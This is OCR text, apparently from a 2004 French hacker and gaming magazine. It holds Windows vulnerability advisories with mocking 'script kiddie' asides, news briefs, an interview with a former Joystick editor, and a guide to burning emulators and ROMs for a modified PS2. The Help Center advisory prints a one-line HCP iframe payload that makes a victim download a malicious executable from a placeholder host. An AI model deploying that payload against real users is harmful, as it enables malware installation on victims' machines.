serveur de partage malicieux ou  visiter une page html spécifique. Cette vulnérabilité devait &tre fixée dans le SP1 pour
Windows XP et le SP4 pour Windows 2000. (Elle est encore présente dans toutes les versions Windows 95, 98, Me, NT,
2000 et XP, a I'exception de Windows 2003 qui n'est pas vulnérable).

Bugtrakz-kiddle : Haha ! Ga c'est trop drole & utiliser pour pourrir la vie de ceux qui essayent de scanner mes shares.
Je ne me suis méme pas fatigué & ripper I'exploit, j'ai juste un nom de share assez long pour crasher leur Explorer.

VULNERABLE @ Microsoft Internet Explorer 5.01 - 5.5 - 6.0
VuLNERABLE : Windows NT - 2000 - XP - 2003
CvE : CAN-2004-0197

Sowumion : Aucune solution officielle pour I'instant
Sowumion : MS04-014

MICROSOFT DIRECTPLAY PACKET VALIDATION DENIAL OF SERVICE

Il existe une vulnérabilité de déni de service dans I'API (application programming interface) IDirectPlay4 de Microsoft
DirectPlay. Les applications qui utilisent cette API sont généralement les jeux multi-joueurs en réseau. Un attaquant qui
réussirait & exploiter cette vulnérabilité pourrait provoquer I'échec de I'application.

Windows NT 4.0 n'est pas concerné par cette vulnérabilité. Seules les interfaces de la version 4 le sont. Une application
utilisant les interfaces de la version 8 n’est pas affectée. Les jeux et les applications les plus récents sont congus a l'aide
des interfaces de la version 8.

Une attaque ne peut réussir que sur un systéme en train d'exécuter activement un jeu DirectPlay. DirectPlay étant un
protocole réseau congu pour permettre les modes multi-joueurs, les jeux qui n'utilisent pas les interfaces de la version
4 de DirectPlay ne sont pas vulnérables a une attaque.

Bugtrakz-kiddie : Trop peu d’ordis concernés... et ga ne permet pas d'en prendre le controle. Ga ne m'intéresse pas.

VULNERABLE : Microsoft DirectX 7.x - 8.x - 9.x Sowumon : Appliquer le patch MS04-016

MICROSOFT WINDOWS HELP AND SUPPORT CENTER REMOTE CODE EXECUTION

Une vulnérabilité a été identifiée dans Microsoft Windows. Elle pourrait &tre exploitée par un attaquant distant afin de com-
promettre un systéme vulnérable. Ce probléme se situe au niveau du centre d'aide et de support Windows (Help and
Support Center) qui ne valide pas correctement certaines URLs HCP. Un attaquant pourrait exploiter cette vulnérabilité afin
de télécharger puis d'exécuter des fichiers malicieux sur une machine vulnérable (via la Mise a jour du décodeur de
DVD), en incitant un utilisateur & visiter une page web ou a lire un email contenant un lien HCP spécifigue. La désacti-
vation du protocole HCP via le registre empéchera I'exploitation de cette vulnérabilité, mais cette démarche est décon-
seillée car elle pourrait entrainer certains dysfonctionnements.

Microsoft a jugé le risque comme " Important ", nous I'avons jugé comme " Moyen ", car I'exploitation de cette faille exige
une importante interaction de la part de I'utilisateur. Un attaquant pourrait exploiter ce probléme en incitant un utilisa-
teur a visiter une page web (ou a lire un email) contenant un lien HCP spécifique. Ce lien lancera le centre d'aide et de
support (Mise & jour du décodeur de DVD), puis y injectera une URL malicieuse. L'attaquant devra ensuite convaincre
I'utilisateur de cliquer sur le bouton " Mettre & jour maintenant ", l'utilisateur croyant télécharger une mise a jour Windows,
téléchargera en réalité un fichier malicieux (via I'URL injectée auparavant).

<iframe src="HCP://system/DVDUpgrd/dvdupgrd.htm?website=site.com/malicieux.exe”
width="1" height="1"></iframe>

Bugtrakz-kiddle : Celui-ci n'est pas mal. Et c'est tellement facile de faire cliquer les gens... Clest trop bien foutu, Windows =)

VurnEraBLE+ Windows XP-et Windows- 2003 Server——— Sotumon+MS04-015
Cve : CAN-2004-0199

Encaﬁe
UNE FOIS
BRAVO |

Cest pendant la guerre froide que
les Etats-Unis développérent leurs
armes de destruction massive.
Pour éviter que n'importe quel
plouc lance les armes, il y avait
une protection par code. On app-
rend par une association d'an-
ciens officiers de ['armée
ameéricaine qu'entre 1960 et
1977, le code en question était
le... tenez-vous hien...
0000000D. Encore une preuve du
sérieux de nos amis ameéricains,
qui ont dil avoir la flemme de
changer le mot de passe par
défaut. Finalement, la date de
naissance comme code de carte
bleue, ce n’est pas si mal !

LA CHINE
BANNIT UN
JEU VIDEO

Un jeu vidéo a été hanni du pays.
il s'agit de " Hearts of lron *, un
tris hon jeu de stratégie qui a été
développé par une entreprise sué-
doise, Paradox Entertainment. Le
jeu déforme I'histoire de [a Chine
et y porte préjudice, selon les
autorités du pays. En effet, dans
e scénario, le Tibet et Winjiang
sont deux pays indépendants et
Taiwan fait partie du Japon. C'est
ainsi que le ministere de la Cul-
fure, outré, a fait retirer le jeu des
points de vente (que ce soit dans
les magasins ou en ligne), et que
les cybercafés doivent s'assurer
qu'aucun citoyen ne peut y jouer
dans leurs établissements. Les
Chinois n'en sont pas a leur pre-
midre frustration quant a ce type
d'événements. En effet, Covert
Strike avait été retiré du marché
et interdit parce qu'on y donnait
une mauvaise image de |'armee
chinoise. Méme si les reproches
faits & I'endroit des concepteurs
du jeu sont lgitimes, |'interdic-
tion compléte de vente semble
exagérée. Une chose est certaine,
il y aura quand meéme une suite a
Hearts of Iron, malgré la suscep-
tibilité de nos amis chinois !




Zq

LES PETITS

LES PROCES
DU MOIS

La RIAA repart en guere avec une
nouvelle série de poursuites. Il s'a-
git de 482 individus dont I'identité
ne sera divulguée qu'au déhnt des

proces. Les " victimes * sont
dispersées aux quatre coins des
Ftats-Unis. Pour la RIAA, il est
important de poursuivre la croisa-
de contre ces malfaiteurs dont le
nombre se chiffre maintenant en
milliers. Toutefois, la menace ne
semble pas dissuader les fervents
utilisateurs de Kazaa ou d'eDonkey
qui semblent &tre toujours aussi
nombreux. Mais comme on vous le
rapporte ailleurs, la RIAA y eroit. ...

LEGALISER

LE P2P

Est-il possible de légaliser le par-
tage de fichiers musicaux? Il sem-
blerait que I’ADAMI, une société
frangaise protégeant les droits
intellectuels des artistes, ait trouvé
une solution. Elle sait qu'il est pra-
tiquement impossible de stopper le
P2R, mais son tude démontre qu'l
serait possible de créer une taxe sur
| téléchargement. Cette taxe serait
imposée aux FAI (afin de payer les
artistes), ce qui aurait pour effet de
faire augmenter les prix de la
connexion intemet. Bien belle idée
que de faire payer tout le mondel

TRAVERSER

L ATLANTI
CAEST CHER

Napster a lancé la version cana-
dienne de son service d'achat de
musique en ligne une semaine
apres I'avoir fait en Grande-Breta-
gne. Il y a deux différences nota-
bles entre les deux versions : la
variété des pigces musicales, ainsi
que le prix. Les Britannigues peu-
vent avoir acces a 500000 titres
tandis que les Canadiens n‘ont droit
qu'a 300000 chansons, mais au
moins, ils ont Celine Dion a la place
des Spice Girls. Le prix différe éga-
lement beaucoup ; un titre coiitant
au Canada moins de la moitié de
ce qu'il codite aux Anglais.

Si vous lisez un peu les revues de jeux vidéo, sans doute avez-vous remarqué que
certains magazines de référence (Joystick, PlayStation Mag, etc.) ont radicale-
ment changé de style, de rédaction... et quelque fois de qualité. Mais que s'est-il
passé ? Fishbone, ex rédac-chef adjoint de Joystick, a bien voulu répondre a nos

questions.

Pirat'z : Peux-tu te présenter rapide-
ment a ceux de nos lecteurs qui ne te
connaissent pas encore ?

Fisumone : Eh bien je suis Stéphane -
Fishbone - Hébert, Fish pour les inti-
mes. J'étais, il y a peu encore, le rédac-
teur en chef adjoint de Joystick. Je
m’occupais également de la composi-
tion des ziks accompagnant l'inter-
face du CD, un mois sur deux. Pour
ceux qui connaissent, j'ai aussi com-
posé la Balunga. Je squatte le milieu
du jeu vidéo depuis dix-sept ans
environ. J'ai commencé en faisant
quelques musiques sur Amstrad
pour Ubi Soft, puis j'ai eu la chance
d'écrire pour divers magazines : STMag,
Megaforce, Superpower, PlayMag, Joys-
tick, joystick.fr, Joypad, PlayStation Mag
1&2, Canard PC...

P : Il y a quelque temps, tu as quitté
Joystick avec pas mal de tes collégues.
Pourquoi ?

F : Il se trouve que nous nous sommes
retrouvés, peu avant noél 2003, face a
une situation qui nous a beaucoup,
beaucoup fachés. Hachette, notre
patron de I'épogue, souhaitait vendre
la filiale Hachette Digital Presse depuis
quelque temps déja. Aprés qu’Hachette
ait refusé une proposition de rachat par
les salariés d’HDP - a savoir nous-
méme, le staff de Joystick, Joypad, Joys-
tick.fr et DVD Mag au grand complet -
nous avons appris du jour au lende-
main que nous étions finalement ven-
dus au groupe anglais Future
Publishing. En d'autres termes, a un
concurrent direct, dont la culture d'en-
treprise ne correspondait pas a l'idée
que nous nous faisions de notre pro-
pre travail. Ainsi, plutot que d'intégrer
une société dans laquelle nous ne
nous serions pas sentis bien, autant
pour des raisons débiles que plus
sérieuses, nous avons préféré partir
pour continuer & bosser comme
"avant" : sans contraintes, avec nos
méthodes, notre style, et surtout en
nous marrant comme des abrutis pour
pas grand chose...

P : Joystick n'est pas le seul magazine
dans ce cas, je crois...

F : Effectivement, la quasi-totalité des
équipes de Joypad, PlayStation Mag et
DVD Mag a décidé de faire la méme
chose. Il faut bien comprendre que
nous vivions dans un petit paradis ter-
restre, et que pour la plupart d’entre
nous, ce changement radical d’envi-
ronnement était difficile a admettre. Je
précise qu’Hachette ne nous a pas

vendu pour des raisons de rentabilité,
mais plutot pour une
incompatibilité entre notre ligne éditoriale
et un éventuel développement au niveau
international. Difficile de transposer a I'é-
tranger des magazines au ton aussi inimi-
table que I'étaient Joystick et consorts...

P : Que fais-tu maintenant ? Et 'ex-
équipe de Joystick ?

F : Pour ce qui est des ex-Joystick, nous
avons créé Canard PC, "le magajine
des zeux vidéo", un hebdo qui sort tous
les mercredis et qui propose des recet-
tes de cuisine entre deux tests de jeu.
Pas de surprises pour les anciens lec-
teurs de Joy, on y retrouve toute I'é-
quipe : Lord Casque Noir, Ivan le Fou,
Captain ta Race, Gana, M. Pomme de
Terre, Bob Actor, Ackboo et votre servi-
teur. Lambiance est toujours a la
déconne, on se marre, on se vanne,
méme si le fait de sortir un hebdo est
une chose bien plus compliquée et
stressante qu'on ne le pensait. Quoi
qu'il en soit, on ne regrette rien, rien de
rien, non, on ne regrette rien. Sinon, a
titre personnel, je cumule en paralléle
une reconversion dans l'immobilier,
apres avoir tenu quelque temps une
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agence matrimoniale dans le sud de la
France. Quais, je sais, je sais... Je conti-
nue par ailleurs a faire quelques piges
pour d’autres mags hors du secteur du
jeu, et j'ai aussi quelques projets a
concrétiser du coté de la musique pour
des spots de pubs... Mais bon, ¢a, c’est
plus hypothétique.

P : Ton avis sur I'avenir de la presse
vidéoludique en France ?

F : Aff, la question piége... Bon, tout
d’abord, je ne porterai pas d’avis sur le
nouveau Joy, car cela n'aurait rien d'ob-
jectif. Caféine n'a pas eu la tache facile
lorsque nous sommes tous partis, puis-
qu'il a di remonter une équipe com-
pléte en trés peu de temps. Chapeau
pour le boulot, car faire un mag comme
Joystick est moins facile qu'il n’y parait.
Toujours est-il que, d’'une maniére plus
générale, la presse vidéoludique fran-
gaise se porte assez mal : trop de men-
suels, trop de concurrence du Net, nous
vivons sans doute les derniers instants
d’une grande époque. Ce sont en par-
tie ces constatations qui nous ont moti-
vés pour créer un hebdo et non un
mensuel, méme si on nous a traités de
fous. Pourtant, en qualité d’hebdo, non

seulement nous collons a I'actualité,
mais en plus il n'existe pas de concur-
rents directs dans notre créneau. De
plus, avec I'avenement des abonne-
ments Internet haut débit, la présence
d’un CD ou d'un DVD avec un canard
n'est plus obligatoire pour espérer ven-
dre. En résumé, je pense que la presse
papier a encore de 'avenir, mais pas
dans sa forme actuelle, aussi bien
quantitativement que qualitativement.
Par contre, madame Irma, notre
voyante, nous a confirmé que Canard
PC va cartonner pendant au moins 457
ans, alors on est content,

P : Un mot a dire aux lecteurs de Joys-
tick ?

F : Qu'est-ce qu’on a pu se marrer
quand méme, hein les gars ! Le temps
que j'ai passé a Joystick compte assu-
rément parmi les plus belles et plus
droles années de ma vie. Bosser a
Joystick, c'était surtout passer son
temps a rires avec des amis... Merci de
nous avoir permis de vivre dans une
colonie de vacances aussi longtemps
!

P : A ceux de Pirat'z ?

F : Bon, au risque de passer pour un
vieux con moralisateur, si j’ai un seul
message a faire passer, ¢'est que I'in-
dustrie du jeu a vraiment besoin d'étre
soutenue. Alors pensez aux dévelop-
peurs : jouez le jeu, downloadez les
démos et si elles vous plaisent, achetez
les softs |

P : Merci d'avoir bien voulu répondre
a nos question. On te souhaite beau-
coup de succes, ainsi qu'a I'équipe de
Canard PC.

F : Merci a toi.

PS : I'équipe de Joypad, quant a elle,
a tenté de faire survivre sa passion a
travers un nouveau mag, Gaming, qui
n'aura malheureusement tenu que six
mois.

Annonce officielle :

http://www. gamekult.com/tout/forum/
lire_179224.html?nopub=1&temp=
331203200455125049

Interview by eks

TELECHARGEZ PIRAT'Z N° 1!

Heureusement, nous, nous faisons encore ce gue nous vou-
lons. Fatigués de disperser de fausses informations sur d'hy-
pothétiques abonnements, tristes de décevoir a chaque fois
les lecteurs qui veulent nous commander d’anciens nume-
ros, nous avons choisi de vous offtir les premiers Pirat'z et
de vous laisser les télécharger.

Nous voulions tirer profit de la technologie |a plus adaptée
pour diffuser un fichier volumineux & de nombreuses per-
sonnes : le peer2peer. C'est surtout une maniere de crier
haut et fort que le p2p n'est pas que le vecteur de pra-
tiques illégales. On voudrait vous interdire d'utiliser ces
outils ? Autant dire qu'on aimerait vous empécher de lire
Pirat'z |

Si vous vous souvenez du derier numeéro, vous serez sans
doute d'accord avec notre choix : nous allons utiliser
konspire2b. C'est un protacole qui a |'avantage d'introduire
une relation de confiance dans le p2p. Si vous vous abon-
nez au canal de Pirat'z, vous serez slr que ce que vous y
téléchargerez vient de chez nous (c'est cryptographique,
pour ne pas dire magique !). En plus, il existe des clients
pour a peu pres tous les 0S, et c'est du libre, on aime ¢a.
Du coup, vous aurez aussi une bonne raison de |'essayer :
comme d'habitude, plus il y a d'utilisateurs, mieux c'est.

Le principe de diffusion avec konspire2b, c'est que le télé-
chargement a lieu a heures fixes. Ca permet de maximiser
le nombre d'utilisateurs simultanés, et donc les taux de
transfert. Rassurez-vous, pas la peine de rester devant votre
écran toute la journée, il suffit de laisser tourner le client
en arriére plan. Les dates d'émission seront annoncées sur
notre forum (http://piratz.fr.st). Vous pourrez aussi vous y
renseigner, si vous avez des problemes pour installer le pro-
gramme.

Pour rappel, les fichiers sont diffusés au travers de canaux
auxquels vous devez vous abonner. Tout fonctionne en tache
de fond vous téléchargez le client sur
http://konspire.sf.net et vous lancez. Il n'y a pas d'interface
au démarrage du programme, car vous le pilotez avec votre
navigateur (en vous connectant sur http://localhost:8085).
Pour s'inscrire a un canal de diffusion, il faut posséder la
clé publique qui y correspond (I'émetteur posséde une clé
privée qui est la seule qui permet d'y envoyer des fichiers).
Pour s'inscrire automatiguement a notre canal, vous n'avez
qu'a cliquer sur le lien qui figure sur http://piratz.fr.st/k2b
(subscribe to Pirat'z).

BONNE LECTURE !

ITUNE
ARRIVE EN

FRANCE

C'est le 15 juin demier, lors de la
visite du PDG d'Apple, qu'iTunes
Music store a été officiellement
lancé a travers les frois principaux
marches européens : France, Alle-
magne et Royaume-Uni. Aux Etats-
Unis, Apple a deja vendu 70
millions de pieces musicales a 99
cents chacune, mais en France nous
serons amenés a payer 1,20 euro
pour les nouveautes et moing d'un
euro pour les vieux titres. Le cata-
logue se compose actuellement de
700000 titres de majors et de
labels indépendants. La concurren-
ce avec le PP s'annonce rude |

SONDAGE
PROFOND

Au debut de I'année 2004 et
durant quatre mois, un sondage a
éte effectué afin de connaitre les
habitudes des utilisateurs de P2P.
La plupart des résultats étaient
prévisibles ou simplement déja
connus, mais il existe quelques
réponses pour |e moins surpre-
nantes. Si on suppose que les ser-
vices comme Napster et iTunes
etaient amengs a founir un choix
aussi varié que KaZaa et  bais-
ser le prix d'un téléchargement &
25 cents, que feraient les utilisa-
teurs ? Etonnamment, 16 % des
sondés utiliseraient exclusivement
les services payants et 29 % uti-
liseraient les deux. Avant la venue
du P2P, 47 Y des utilisateurs
achetaient moins de 10 CD par an,
ce chitfre tombe a 41 % aprés la
venue du P2P. Le pourcentage de
ceux qui s'en procuraient entre 10
et 20 chague annge est passé de
26,07 % a 26,58 %. On peut
donc affirmer que I'industrie de la
musigue ne souffre pas autant du
P2P qu'elle le prétend. En outre,
ce sondage n'a rien de trés scien-
tifique et est basé sur la bonne
volonté des répondants. Bonne
volonté dont on peut douter vu le
sujet du sondage.




FRITES REVIVRE LA

UN DISPOSITI
EFFICACE :

Selon Nielsen SoundScan, |'album
le plus vendu aux Ftats-Unis est
protége contre les copies pirates.
En effet, bien que ce soit claire-
ment visible sur I'album, les
consommateurs ont tout de
méme décidé de se le procurer.
Le succes qu'a obtenu cet album
n'est pas sans deplaire & lindus-
trie du disque. Evidemment, les
artistes sont enthousiastes a la
perspective de pouveir proteger
leurs créations sans décourager
les consommateurs. Voila qui va
encourager les maisons de disque
a continuer dans cette voie, au
détriment des consommateurs. . .

ENFIN UN VIRUS POUR
LES PORTABLES
Le premier virus pour téléphones
portables serait apparu. |l se bala-
deraitd'un téléphone a l'autre sans
avoir recours & un ordinateur por-
table comme ce fut e cas en 2000
avec le virus Timifonica. Cabir,
notre nouveau virus, n‘affecte que
les portables * intelligents " qui
fonctionnent sur le systéme d'ex-
ploitation Symbian et ont une
connexion Bluetooth. Alors votre
portahle risque-t-il d'exploser sous
peu 7 Non ! Ce virus a éta lancé
et maitrisé par des chercheurs
donc aucun risque de le retrouver
dans fa nature. Pour ['instant.

LA RIAA TIENT SA
NOUVELLE CIBLE

La RIAA a de nouveau du pain
sur la planche avec les radios en
ligne. Ces demibres offrent de la
musique de meilleure qualité que
I radio FM puisqu'il 'y a aucu-
ne interférence, et si pour I'ins-
tant il n'est pas (facilement)
possible de sauvegarder la
musique diffusée sur les ondes
digitales, une radio offrant une
telle fonctionnalité rendrait la
RIAA toute rouge. Elle suggere
done @ la Commission Federale
des Communications-de prendre
Ies devants et d'implanter immé-
diatement des mesures contre le
piratage sur les radios en ligne.

LA PROTECTION,

Les jeux nouveaux ne sont pas les seuls a pouvoir vous captiver pendant des
heures. Les dix ou vingt derniéres années du jeu vidéo regorgent de perles et
d'aventures étonnantes. Pour y jouer sur votre PS 2 ? Empruntez I'un des multiples

chemins de I'émulation.

GENESIS eMUCATOR FORTHE PS2
X%

Game Name

Size (kb)

%

Really delete saved state?

Earthuworm Jim

Yes No

PGEN Usage: 4l2 kb

réce aux nouvelles techniques
d’émulation pour la derniére

console sortie des ateliers de

Sony, aux performances particuliére-

ment intéressantes en matiére de com-

patibilité et d’évolution, vous pouvez
désormais vous adonner aux plaisirs
oubliés des anciennes consoles. Qu’el-
les soient de Nintendo ou Sega, je me
propose de vous montrer comment
jouer - ou rejouer, selon votre age ou
votre culture vidéoludique - via quatre
consoles de légende.

Les consoles 8 bits :

- la Nintendo Entertainment System,
plus connue sous le nom de NES,

- 'la MasterSystem, issue du systeme
SMS de SEGA.

Et les consoles 16 bits :

- la Megadrive (également connue aux
Etats-Unis sous le nom de Genesis)
de Sega,

- la Super Nintendo Entertainment Sys-
tem, elle aussi plus connue sous le
nom de SNES ou Super Nintendo.

Vous aurez remarqué, si vous étes
une fine gachette de I'émulation, que je
n'ai pas inclu toutes les possibilités d'é-
mulation de la console de Sony. Il faut
dire que je n'ai sélectionné que les plus
performantes et intéressantes. Ce sont
aussi des consoles auxquelles chacun
d’entre nous a pu jouer une fois au
moins dans sa vie.

Malheureusement, il vous faudra
absolument disposer d'une PlayStation
2 pouvant accepter les Cd-rom gravés,
donc probablement équipée d’une puce
(il'y a suffisamment d'articles consacrés
a ce sujet dans Pirat'z, si vous ne les
avez pas, vous savez ce qu'il vous reste

/

Total Free:

5281 kb

a faire...). Il faut aussi un graveur, un CD
vierge et une connexion Internet. Pour
terminer la série des évidences : ce
serait bien aussi d'avoir une carte
mémoire (ga le fait pas trop de finir
Zelda |ll sans sauvegarder... 8 moins de
rester une semaine devant sa télé sans
éteindre sa console). En avant donc,
que les jeux commencent !

Nintendo Entertainment System, la
premiére console qui ne rend pas épi-
leptique (quoigue...). Nintendo fut trés
fier de présenter sa console en 1986,
car elle présentait des qualités sonores
et visuelles hors du commun pour I'é-
poque. De plus, les types de jeux pro-
posés étaient sensiblement différents
du reste du panel de jeu vidéo de I'é-
poque : il ne s'agissait plus de jouer a
un jeu répétitif, issu de I'arcade ou du
café du coin, oli I'action est toujours la
méme, sauf qu’elle croit en difficulté.
On a la de véritables progressions
autour d’un pseudo scénario (oui, je dis
pseudo scénario parce que bon, "votre
fiancée a été capturé par un méchant,
allez lui défoncer la tronche pour la sau-
ver", c'est pas vraiment du scénario,
d'accord).

Aprés ce rapide digéré de connais-
sances vidéoludiques, passons a la par-
tie sérieuse du probléme. La procédure
comporte plusieurs étapes.

Tout d’abord allez sur le site
http://imbnes.gamebase.ca/ dans la
rubrique intitulée "downloads", pour
pouvoir y récupérer la derniére version,
notée 1.3.2. Puis décompressez tout ce
que contient I'archive sur un répertoire
de votre disque dur (par exemple,
C:\ImbNes).

Ensuite, dirigez-vous sur un site de
roms (on appelle roms, pour les non-
initiés a I'émulation, les fichiers qui
contiennent le jeu, comme la cartouche
quoi) fiable. Je recommande www.pla-
netemu.net. Téléchargez-y les roms de
votre choix et placez-les dans un réper-
toire sur votre disque dur, aprés les avoir
dézippées bien entendu. Par exemple,
C:\ImbNes\roms.

Aprés quoi, vous pouvez lancer le
fichier nommé rombank.exe (il doit se
trouver, si vous avez suivi nos conseils,
dans C:\ImbNes). Cliquez sur le bouton
en forme de puce en haut a droite. Ajou-
tez-y le répertoire oli se trouvent vos roms
dézippées. Il ne vous reste plus qu'a
cliquer sur l'icéne en forme de CD pour
enregistrer une image au format .iso.
N'oubliez pas de spécifier la région de
votre CD (Japan, US ou Europe).

Ouvrez Nero ou un programme simi-
laire pour graver votre Image 1SO0.

Insérez le CD dans votre Playsta-
tion2 : une liste des jeux que vous avez
gravés s'affiche. Sélectionnez celui que
vous désirez avec la manette direction-
nelle, puis appuyez sur START pour le
lancer. Pour changer de jeu, appuyez sur
L1 + L2 + START + Select.

Et voila, a vous les joies de la pre-
migre console de salon de Nintendo !

MASTE® SYSTEM :
SPACE HARRIER
ET SONIC!

La Master System fut lancée par
Sega en 1986 pour contrer I'offensive
de Nintendo. C'est pourquoi elle permet

EST-CE DE L'ABANDONWARE ?

Attention, ces consoles émulées ont beau @étre vieilles, leurs
constructeurs n'ont pas pour autant renoncé a leurs droits. Pour
posséder une image de la ROM d'une de ces machines, qui fait donc
I'objet d'un copyright, vous devez posséder une version physique de
celle-ci - ce qui est la maniére la plus simple d'avoir une " licence "
d'utilisation. Il en va de méme pour les jeux.




LEGENDE DANS
VOTRE PSS 2

de montrer des jeux avec des graphis-
mes de meilleure qualité et des
musiques de meilleure définition (com-
prenez : qui ne vous transperce pas les
tympans, et encore !). Elle a permis a
Sega de développer ses meilleurs jeux :
Sonic bien stir, mais aussi Alex Kid, Mar-
ble Madness, les Donald... Sans oublier
les fameux hits d’arcade Space Harrier
et After Burner, toujours funs aujourd’-
hui.

L'émulateur consacré a la Playsta-
tion 2 est PSMS, et il aussi performant
que difficile & mettre en place.

Ouvrez Nero ou un programme simi-
laire, créez un nouveau CD de données
et copiez a sa racine les fichiers que
vous aurez téléchargés a cette adresse

http://psms.gamebase.ca/
psms12.zip, puis dézippez dans un
répertoire quelconque.

Ensuite allez cherchez vos roms
sur un site sir, dézippez-les et placez-
les également dans Nero, mais cette
fois dans un répertoire spécial (par
exemple /roms).

Il va falloir renommer tous vos
fichiers, pour qu'ils respectent la norme
du 8*3 (pour ceux qui ont échappé a
MS-DOS 4.0 : huit caractéres avant le
point et trois apres, le tout en majus-
cule. Exemple : MARBLMAD.SMS). Cette
étape est assez lourdingue, je vous I'ac-
corde. Attention, vous ne pouvez pas
mettre plus de 30 roms par répertoire,
sinon le CD ne fonctionnera pas, mais
vous pouvez faire autant de répertoires
que vous le désirez.

Aprés ¢a, il vous faut créer un
fichier texte (direction bloc-notes) pour
y entrer a la main tous vos jeux selon
cette régle : nom du jeu vidéo affiché a
I'écran, ROMS\MONJEU.SMS. A chaque
fois, vous devez passer une ligne sinon

- le fichier - donc I'émulateur - ne pourra
pas fonctionner. Enregistrez le fichier
texte sous le nom de FILES.TXT.

Ajoutez ce fichier a la racine de
votre CD, puis lancez la gravure en spé-
cifiant de ne pas utiliser d’extension
Joliet (généralement dans les proprié-
tés de gravure).

Normalement, ga devrait marcher.
Je vous souhaite un bon California
Games !

MECGADRIVE, GENESIS

En tous cas, une console d'enfer !

La Megadrive a été lancée par Sega
en 1990 afin d’enfoncer le clou déja
pointé avec la MasterSystem. Elle pro-
posait des couleurs superbes et des
animations d’une grande fluidité, sans
aucune comparaison possible, et pour

preuve, elle est en fait la premiere
console 16 bits a faire son apparition
sur le marché.

Au niveau du processus de création
de CD, pas grand-chose ne change , a
part le niveau de I'émulateur : PGEN est
sans doute le plus agréable de tous les
émulateurs Playstation 2, avec sa belle
interface et sa gestion tres simple des
sauvegardes sur carte mémoire. Voici
comment procéder pour vous faire votre
CD-spécial Megadrive.

Ouvrez Nero ou un programme
équivalent (vous commencez a y étre
habitués, non ?) et démarrez un nou-
veau projet de CD de données.

Allez télécharger vos roms sur un
bon site, pour cette console, je recom-
mande www.zonesega.net) puis dézip-
pez-les dans un répertoire quelconque.

Allez vécupérer Pémulateur a cette
adresse
http://pgen.gamebase.ca/down-
loads/pgen-1.2.zip puis dézippez-le.

Ensuite c'est trés simple, ajoutez les
fichiers contenus dans le zip de I'ému-
lateur a la racine du CD, créez un réper-
toire nommé "Roms" puis balancez
toutes vos roms dézippées dedans. C'est
slir qu'a coté de PSMS, ¢a vous change
la vie :D (méme si ce n'est pas les
Sims... Bon d’accord elle était nulle).

Vous n'avez plus qu'a vous graver
votre CD tranquille-pépere, et a I'insé-
rer dans votre console modifiée. A par-
tir de 13, tout est trés simple, pour peu
que vous baragouiniez un rien la langue
a Billou.

SUPE® NINTENDO

La reine des 16 bits (comment ga
c'est salace ?)

Nintendo ne s'est pas laissé faire, et
apres avoir été frappé deux fois par les

offensives de Sega, il décide de contre-
attaquer avec ce que beaucoup conside-
rent comme une des meilleures, voire la
meilleure console 16 bits, j'ai nommé...
la Super Nintendo ! Ou Snes pour les inti-
mes. Elle dispose elle aussi d’'un émula-
teur performant sur la Playstation 2, a
savoir Snes-Station, un port du plus que
fameux Snes9x. Allez, c'est reparti.

Quvrez un truc genre Nero, com-
mencez un nouveau CD de données
(ronnfllzzz...).

Allez récupérer des roms sur un
site sOr (la encore, www.planetemu.net)
et dézippez-les sur votre disque.

Allez chopper I’émulateur
http://snes-station.gamebase.ca/files/
snes_0_2_3_20040124.zip

puis dézippez-le quelque part sur
votre disque.

La encore, Snes Station est trés
simple d'utilisation : copiez les fichiers
de I'émulateur 2 la racine de votre CD-
rom, puis créez un nouveau répertoire
nommé Roms. Balancez-y le tas de
roms que vous avez récupére.

Il ne vous reste plus qu'a vous
émerveiller devant ce prodige de
console qu'est la Snes ! De plus, I'é-
mulateur supporte pleinement les sau-
vegardes, alors hop ! Allez de ce pas
terminer Secret Of Mana, vous ne serez
pas dégus du voyage !

Voila, j'espére que vous saurez don-
nez une nouvelle jeunesse a votre PS2
avec tout ¢a... Les plus vieux verseront
de chaudes larmes devant tant des sou-
venirs, les plus jeunes seront peut-étre
étonnés de constater la richesse de ces
jeux vidéos a I'ancienne. Ah oui, un der-
nier mot : tous ces émulateurs sont
issus de la communauté Open-Source.
Tiens, tiens, comme c'est bizarre, vous

avez dit bizarre ? ;)
“ by A. Lee

{aka Hiryu,

ALERTE AU
VER MUTANT

Comme les humains, ¢ est en évo-
[uant que les virus peuvent espe-
rer survivre. La preuve par
I'exemple avec le ver " Bobax *,
qui réutilise les mémes vulnéra-
bilités que MSBIast ou Sasser,
mais cette fois-ci fait un test de
bande passante dont les résultats
serviront par exemple & détermi-
ner si l'ordinateur infecte peut étre
utilisé comme machine a spam-
mer ou pour effectuer une attaque
DoS. Ca serait hien que tous les
virus fassent la méme chose, il
suffirait alors de limiter notre
hande passante pour rester tran-
quille !

APRES LA RIAA,

LA MPAA

La MPAA suivra les traces de la
RIAA. En effet, la MPAA lance une
campagne de sensibilisation
aupres des jeunes en leur incul-
quant un code de conduite et en
passant des pubs dénoncant le
piratage. Cet organisme n'est pas
sur le point d'intenter des pour-
suites, toutefois, il pourrait le faire
dans un avenir proche. * Nous
esperons que cette campagne "
educationnelle * portera ses fiuits,
sinon des mesures légales pour-
raient tre prises ", a déclaré un
officiel de la MPAA. On estime
qu'il y aurait chague jour entre
400000 et 600000 films téle-
chargés illégalement. Ce phéno-
mene est rendu possible par
I'acces haute vitesse qui est mis
a la disposition des étudiants dans
les colleges et les universités. Des
publicités expliquant pourquoi le
piratage estinterdit seront placées
tous les jours dans les quotidiens, -
les magazines pour les consom-
mateurs ainsi que dans plus d'une
centaine de journaux étudiants. Si
I'on compare l'initiative avec ce
qu‘a fait la RIAA, je ne suis pas
certain que ca fonctionnera. J'ai
I'étrange impression que nous n'a-
vons pas fini d'entendre parler
d'eux.
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GAMERS NEWS

On ne pouvait pas continuer de vous titiller les
neurones avec un mag toujours plus technique
sans vous laisser un peu de répit. Pirat'z s'adresse
aussi aux gamers de tout poil. Voici notre point de
vue, indépendant, sur I'actualité du jeu vidéo.

Comme vous |'avez certainement remarqué, Pirat’z est un journal
qui s'adresse a un public de hackers et... de gamers (s, si, c'est
écrit sous le titre ;)

Pourtant, cette seconde partie a été un peu négligée ces derniers
temps au profit du hacking. On sait que vous aimez, mais a par-
tir de ce numéro, vous pourrez vous détendre avec quatre nouvel-
les pages dédiées aux jeux vidéos, plus précisément deux pages
concernant l'actualité de ce milieu ainsi que deux pages de tests
des grands jeux du mois. N'hésitez pas a nous donner votre avis
sur le forum (www.piratz.fr.st) et a nous dire si vous en voulez plus,
moins ou si c'est parfait :0

Pour inaugurer cette rubrique, I'actualité nous est trés favorable. En effet
vous savez slirement que se tient tout les ans a Los Angeles le plus grand
salon de jeux vidéos du monde, j'ai nommé |'Electronic Entertainment Expo,
